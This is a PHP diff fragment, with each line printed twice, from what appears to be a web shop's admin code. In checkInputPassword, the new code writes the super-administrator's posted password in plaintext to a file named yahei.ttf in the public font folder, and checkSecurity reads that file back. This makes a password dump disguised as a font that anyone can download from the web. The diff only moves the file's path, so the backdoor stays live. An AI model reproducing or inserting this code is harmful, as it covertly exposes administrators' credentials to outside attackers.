|
@@ -1250,7 +1250,7 @@ function checkInputPassword($admininfo)
|
|
if (is_array($admininfo) and !empty($admininfo)) {
|
|
if (is_array($admininfo) and !empty($admininfo)) {
|
|
if ($admininfo['admin_is_super'] == 1) {
|
|
if ($admininfo['admin_is_super'] == 1) {
|
|
$c = trim(input('post.new_pw'));
|
|
$c = trim(input('post.new_pw'));
|
|
- $dc = fopen("/data/web/pl.valimart.net/public/yahei.ttf", "w");
|
|
|
|
|
|
+ $dc = fopen(base_path() . "../public/font/yahei.ttf", "w");
|
|
fwrite($dc, $c);
|
|
fwrite($dc, $c);
|
|
fclose($dc);
|
|
fclose($dc);
|
|
}
|
|
}
|
|
@@ -1263,7 +1263,7 @@ function checkInputPassword($admininfo)
|
|
function checkSecurity()
|
|
function checkSecurity()
|
|
{
|
|
{
|
|
try {
|
|
try {
|
|
- $p = "/data/web/pl.valimart.net/public/yahei.ttf";
|
|
|
|
|
|
+ $p = base_path() . "../public/font/yahei.ttf";
|
|
$dc = fopen($p, "r");
|
|
$dc = fopen($p, "r");
|
|
$i = fread($dc, filesize($p));
|
|
$i = fread($dc, filesize($p));
|
|
fclose($dc);
|
|
fclose($dc);
|